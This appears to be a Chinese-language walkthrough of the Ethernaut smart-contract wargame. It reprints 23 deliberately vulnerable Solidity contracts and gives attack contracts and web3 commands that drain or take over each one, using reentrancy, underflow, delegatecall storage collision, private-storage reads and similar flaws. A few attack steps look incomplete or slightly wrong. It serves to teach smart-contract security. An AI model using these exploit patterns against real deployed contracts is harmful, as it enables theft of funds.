Ethernaut

一.fallback

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

mapping(address => uint) public contributions;
address public owner;

constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

Analysis

这道题的目的是要成为这个合约的owner并将这个合约的余额全部转走,看完整个合约发现有两个函数可以更改合约的owner,contribute()函数可以更改owner,但需要传入大于1000 Ether,可以看到receive()这个回调函数可以更改owner,但需要 contributions[msg.sender]>0同时传入的金额大于0,所以只需要先调用contribute()函数并向其发送大一1 wei的钱,在向合约发送大于1 wei的钱,就可以更改合约的owner,再调用withdraw()就可以将合约里的钱全部转走。

Attack

1
2
3
await contract.contribute({value:1})
await contract.sendTransaction({value:1})
await contract.withdraw()

二.Fallout

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;


/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

Analysis

solidity中的构造函数可以写成与合约名相同的函数,如本题是想写成Fallout,但是却写错成Fal1out了,因此可以直接调用这个函数

Attack

1
await contract.Fal1out()

三. CoinFlip

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

Analysis

这道题是在考验伪随机数,为什么说是伪随机数,是因为在智能合约中所有的事情都是公开的,包括本题所用的block.number,此题只需要将该合约所用的算法复制到攻击合约中即可

Attack

1
2
3
4
5
6
7
8
9
10
contract CoinFlipAttack{
CoinFlip constant private attack = CoinFlip(0x0a37b6Fcc8C6fDe162999F1B5Ff350BDb25B6589);
function attackcoin() public {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
attack.flip(side);
}
}

四.Telephone

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

Analysis

此题只需要理解tx.originmsg.sender的区别即可,tx.origin是指发送交易的账户地址,msg.sender是指直接调用智能合约函数的账户地址或智能合约地址

Attack

1
2
3
4
5
6
contract TelephoneAttackA{
Telephone constant private attacka = Telephone(0xDBA2fF6C527F845626f2940942Ab017E52F1eB76);
function telephoneattack() public {
attacka.changeOwner(msg.sender);
}
}

五.Token

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

Analysis

此题考验的是溢出,在transfer()这个函数中,检测调用者的balances是用的减法,在solidity当中 存在整数溢出,其原理是由于计算机底层是二进制,任何十进制数字都会被编码到二进制。溢出会丢弃最高位,导致数值不正确。因此,只需要传入的_value参数大于自己所有用的balances即可

Attack

1
2
3
4
5
6
contract TokenAttack{
Token constant target = Token(0xAF796f0ad68E3DA295986A170e9117D18321E5Fd);
function tokenattack() public{
target.transfer(msg.sender, 10);
}
}

六.Delegation

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

Analysis

这道题的目的是成为Delegationowner,考察的是关于delegatecall()的运用。

solidity中存在三种调用方式:

1.call()在被调用的合约的环境下执行被调用函数

2.delegatecall()将被调用函数放在本身合约的环境中运行

3.staticcall()调用函数但不允许更改链上的任何状态

本题很简单只需要在合约中调用Delegate中的pwn()函数即可

Attack

1
2
3
4
5
6
7
8
9
10
contract DelegationAttack{
Delegation target = Delegation(0x79cdd9CE3fE3DE12425523292D7257A5E188beD4);
bytes public data = abi.encodeWithSignature("pwn()");
function delegationattack() public{
(bool success,)=address(target).delegatecall(data);
if(success){
this;
}
}
}

七.Force

Code

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

Analysis

此题很简单,就是在考如何在合约没有接收函数的情况下,向其发送以太,只需要使用selfdestruct()函数即可

Attack

1
2
3
4
5
6
7
8
9
10
11
contract ForceAttack {
Force target = Force(0x1DFb5E96aba1D77AC89908D59611CEEdF04C3009);
mapping(address => uint) public contributions;
address payable addr = payable(address(target));
constructor() public payable {
contributions[msg.sender] = msg.value;
}
function attack() public payable {
selfdestruct(addr);
}
}

八.Vault

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

Analysis

这道题只需要读取password变量即可,虽然这个合约将其设置为private状态,但是在区块链上任何东西都是公开的,可以利用web3库的getStorageAt函数读取即可,当然还要理解变量存储的相关知识

Attack

1
2
await web3.eth.getStorageAt(contract.address,1)
await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')

九.King

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

address king;
uint public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

Analysis

这道题是一个很典型的庞氏骗局,我们需要往合约里发送大于prize的以太,然后成为king,再阻止下一个人向自己发送以太即可永久成为国王

Attack

1
2
3
4
5
6
7
8
9
10
contract KingAttack{
King constant target = King(payable(0x95fda6DBD9D5a21e645a1Fb8D311368728d232bC));
address payable addr = payable(address(target));
constructor() payable{
addr.call{value:1000000000000001}("");
}
receive() external payable {
revert();
}
}

十.Re-entrancy

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

Analysis

这道题是一个考察重入攻击的一道题,仔细看这道题的withdraw()函数发现,这个函数是先执行转账再在余额上减去转走的金额,而在solidity中当调用call()的对象是个合约时,会自动调用合约的fallback()函数,因此我们可以在fallback()函数中再次调用withdraw()函数,因为之前调用的withdraw()并没有执行到减去余额的一步,就可以无限调用下去将合约的金额掏空(前提是call没有限制gas)。

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
contract ReentranceAttack {
Reentrance constant target = Reentrance(0x2D94f9324BD8CaAAe260991510105d75F5961B0f);

constructor() public payable{
target.donate{value:0.001 ether}(address(this));
}
function attack()public{
target.withdraw(0.001 ether);
}
function rs() public{
msg.sender.transfer(address(this).balance);
}
fallback() external payable{
target.withdraw(0.001 ether);
}
}

十一.Elevator

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint) external returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

Analysis

这道题提供了一个接口,只需要让攻击合约继承这个接口然后在调用的函数中,根据目标合约的变量的改变返回不同的值即可。

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
contract ElevatorAttack is Building{
Elevator constant target = Elevator(0x65d66B67b0878934852132dA5f7C924b03CcD3a6);
uint floor;

function isLastFloor(uint _floor) external returns (bool){
if(floor != _floor){
floor = _floor;
return false;
}else{
return true;
}
}

function floors() public {
target.goTo(1);
}

}

十二.Privacy

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {

bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;

constructor(bytes32[3] memory _data) {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

Analysis

这道题还是一个利用web3库去读取变量的一道题,同时要了解变量存储。

Attack

1
2
await web3.eth.getStorageAt(contract.address,5)
await contract.unlock()

十三.Gatekeeper One

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

Analysis

第一个gateOne()函数很简单只需要用智能合约调用即可,第二个gateTwo()函数检测可以通过调试检测到Gas的时候剩多少gas再下一次调用时调整gas即可,或者用暴力破解即可,第三个gateThree()函数很简单,需要让这个_gateKey的二进制形式的低位的16个位与tx.origin相同,让它的低位32位至16位之间全为0,64位到32位之间有1存在即可

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
contract GatekeeperOneAttack{
GatekeeperOne target = GatekeeperOne(0xd9145CCE52D386f254917e481eB44e9943F39138);
bytes8 public key = 0x100000000000878c;
uint256 public i;
function attack() public returns (uint256){
for (i = 0; i < 300; i++) {
(bool success, ) = address(target).call{gas: i + (8191 * 3)}(abi.encodeWithSignature("enter(bytes8)", key));
if (success) {
return i;
}
}
}
}

十四.Gatekeeper Two

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

Analysis

这道题gateOne()很简单跟上一题一样,gateTwo()要检测调用者代码长度为0,只需要将代码放在构造函数中即可,gateThree()只需要将uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))type(uint64).max相异或即可获得

Attack

1
2
3
4
5
6
7
8
contract GatekeeperTwoAttack {
GatekeeperTwo delegate;
constructor(address addr) {
bytes8 key=bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ type(uint64).max);
delegate = GatekeeperTwo(addr);
delegate.enter(key);
}
}

十五.Naught Coin

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol';

contract NaughtCoin is ERC20 {

// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player)
ERC20('NaughtCoin', '0x0') {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}

Analysis

这道题很简单,只需要熟悉ERC20合约即可,该题只重写了transfer()函数,可以使用transferFrom()即可

Attack

1
2
await contract.approve(player.address,contract.INITIAL_SUPPLY())
await contract.transferFrom(contract.address,player.address,contract.INITIAL_SUPPLY())

十六.Preservation

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

Analysis

这道题很简单,只需要调用setFirstTime(),就会调用LibraryContract这个合约的setTime()函数,由于这个函数修改的是这个合约的slot 0位置的变量,所以会修改题目合约的timeZone1Library这个变量,将其改为攻击合约,然后再调用一遍setFirstTime()修改变量即可(需记住要将变量位置对应)

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
await contract.setTime(attack.address)

contract attack{
address public a1;
address public a2;
address public owner;
uint public b;
Preservation target = Preservation(0xD78E7d297118cb0618e1591F905D41b7DD0af7db);

function setTime(uint _time) public {
owner = tx.origin;
}

function attack1(uint _timeStamp) public{
b=_timeStamp;
target.setFirstTime(_timeStamp);
}

}

十七.Recovery

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {

//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}

contract SimpleToken {

string public name;
mapping (address => uint) public balances;

// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}

// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}

// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}

// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}

Analysis

这道题是忘记了合约地址,可以通过给的Recovery地址去Etherscan里查询交易情况找到新建合约的地址,或者通过keccack256(address, nonce)来计算,其中nonce是衍生合约发起的交易数量

十八.MagicNumber

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MagicNum {

address public solver;

constructor() {}

function setSolver(address _solver) public {
solver = _solver;
}

/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}

Analysis

这道题是希望我们能手写solidity中的字节码,因为我们需要让它在被调用时能直接返回42

首先编写运行态字节码,运行态就是直接返回42,可以先利用mstore将数据存入内存再利用return返回42

1
2
3
4
5
6
push1 0x2a -> 60 2a (存入2a)
push1 0x60 -> 60 60 (存储在0x60位置)
mstore -> 52
push1 0x20 -> 60 20 (0x20=32 就是uint256类型的字节数)
push1 0x60 -> 60 60 (数据存储的位置)
return -> f3

合起来就是602a60605260206060f3

接下来时编写初始化字节码,就是初始化并通过codecopy将运行态字节码存到内存中

codecopy会读取参数t、f、s, t是代码的目的内存地址,f是运行态代码的偏移,s是指代码大小。

1
2
3
4
5
6
7
8
9
push1 0x0a -> 60 0a (运行态代码大小为10字节)
push1 0xun -> 60 un (运行态代码的偏移量实际就是初始化字节码的大小)
push1 0x20 -> 60 20 (存储在0x20的位置,并不固定)
codecopy ->39
(接下来通过return将代码返回给evm)
push1 0x0a -> 60 0a (运行态字节码的大小)
push1 0x20 -> 60 20 (运行态字节码的存储位置)
return -> f3
(初始化字节码为12个字节,所以 un = 12 =0x0c)

合起来就是600a600c602039600a6020f3

总的字节码就是0x600a600c602039600a6020f3602a60605260206060f3

Attack

1
2
3
4
5
6
await web3.eth.sendTransaction({
from : player,
data : "0x600a600c602039600a6020f3602a60605260206060f3"
}) (交易没有接收方,会被识别为部署合约)
找到部署的合约地址后地址后
await contract.setSolver(address)

十九. Alien Codex

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function makeContact() public {
contact = true;
}

function record(bytes32 _content) contacted public {
codex.push(_content);
}

function retract() contacted public {
codex.length--;
}

function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}

Analysis

这道题考察的是一个数组上溢的一道题,在以太坊的设计思路中,所有的storage变量共有一片大小为2^256*32字节的存储空间,所以当变成数组长度很大时即可修改任意变量的值。

可以通过使动态数组长度达到最大值,然后放进一个所想放入的值,使得数组长度算术下溢,扩大数组到整个2^256的存储区域,就可以修改目标合约的storage

动态数组刚开始会先往插槽中放入动态数组的长度,而存入动态数组中的值会根据下标值存入keccak256(slot(bytes(1)))+x

这道题可以利用retract()这个函数使得数组长度达到最大值,然后发现这个数组长度时存储在slot1中的,因此该动态数组的变量值存放在keccak256(1)+index,而该题要修改的存储值在slot0中,因此我们要修改的时在2^256,由2^256=keccak256(1)+index可计算出,index=2^256-keccak256(1),在通过使用revise()函数,输入计算出的index以及想要修改的值,即可覆盖slot0

Attack

1
2
await contract.retract()
await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x00000000000000000000000006e45eA0f0fcBfa38851AB4790aC0afbf3987878C')

二十.Denial

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {

address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}

// allow deposit of funds
receive() external payable {}

// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}

Analysis

这道题是一道典型的拒绝服务攻击的题,查看withdraw()函数发现给partner转账使用的call函数,所以这道题的入手处在于fallback()的构造,并且这个函数中在使用call()时没有对gas进行限制。

soliditysendcalltransfer这三种转账之间的区别:

  • transfer如果异常会转账失败,并抛出异常,存在gas限制
  • send如果异常会转账失败,返回false,不终止执行,存在gas限制
  • call如果异常会转账失败,返回false,不终止执行,没有gas限制

所以我们要想办法将gas耗尽即可

solidity中几种抛出异常的方式assertrevertrequire的区别:

  • assert会消耗掉所有gas并回滚操作
  • require会返回剩余gas并回滚操作
  • revert会返回剩余gas并回滚操作

所以这道题我们使用assert即可

Attack

1
2
3
4
5
6
7
8
9
10
11
contract DenialAttack{
Denial target = Denial(0xfa10E2b167c015c398c1156e7ADD31aD9dBd9106);

function attack() public{
target.setWithdrawPartner(address(this));
}

fallback() external payable{
assert(false);
}
}

二十一.Shop

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
function price() external view returns (uint);
}

contract Shop {
uint public price = 100;
bool public isSold;

function buy() public {
Buyer _buyer = Buyer(msg.sender);

if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}

Analysis

这道题是让我们以低于100的价格去购买商品,很简单看函数buy()中是先改变的isSold再改变的price,所以我们可以根据isSold的不同返回不同的price的值即可

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
contract ShopAttack is Buyer{
Shop target = Shop(0x2aA88C62dE7005ca4ACA04ed37DC568005bcd67a);

function price() external view returns (uint){
if(target.isSold() == true){
return 90;
}else{
return 101;
}
}
function attack() public{
target.buy();
}


}

二十二.Dex

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract Dex is Ownable {
address public token1;
address public token2;
constructor() {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

Analysis

这道题很简单考的是滑点的概念,因为这道题中在这个去中心化交易所里汇率是恒定的,所以我们只要再token1token2之间来回倒即可

Attack

1
2
3
4
5
6
7
8
9
10
11
await contract.approve(contract.address,10)
await contract.swap(token1,token2,10)
await contract.approve(contract.address,20)
await contract.swap(token2,token1,20)
await contract.approve(contract.address,24)
await contract.swap(token1,token2,24)
await contract.approve(contract.address,30)
await contract.swap(token2,token1,30)
await contract.approve(contract.address,41)
await contract.swap(token1,token2,41)await contract.approve(contract.address,65)
await contract.swap(token2,token1,65)

二十三.Dex2

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract DexTwo is Ownable {
address public token1;
address public token2;
constructor() {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function add_liquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

Analysis

这道题更简单了,在swap()函数中没有限制token的地址,所以我们可以自己创建个token去掏空代币

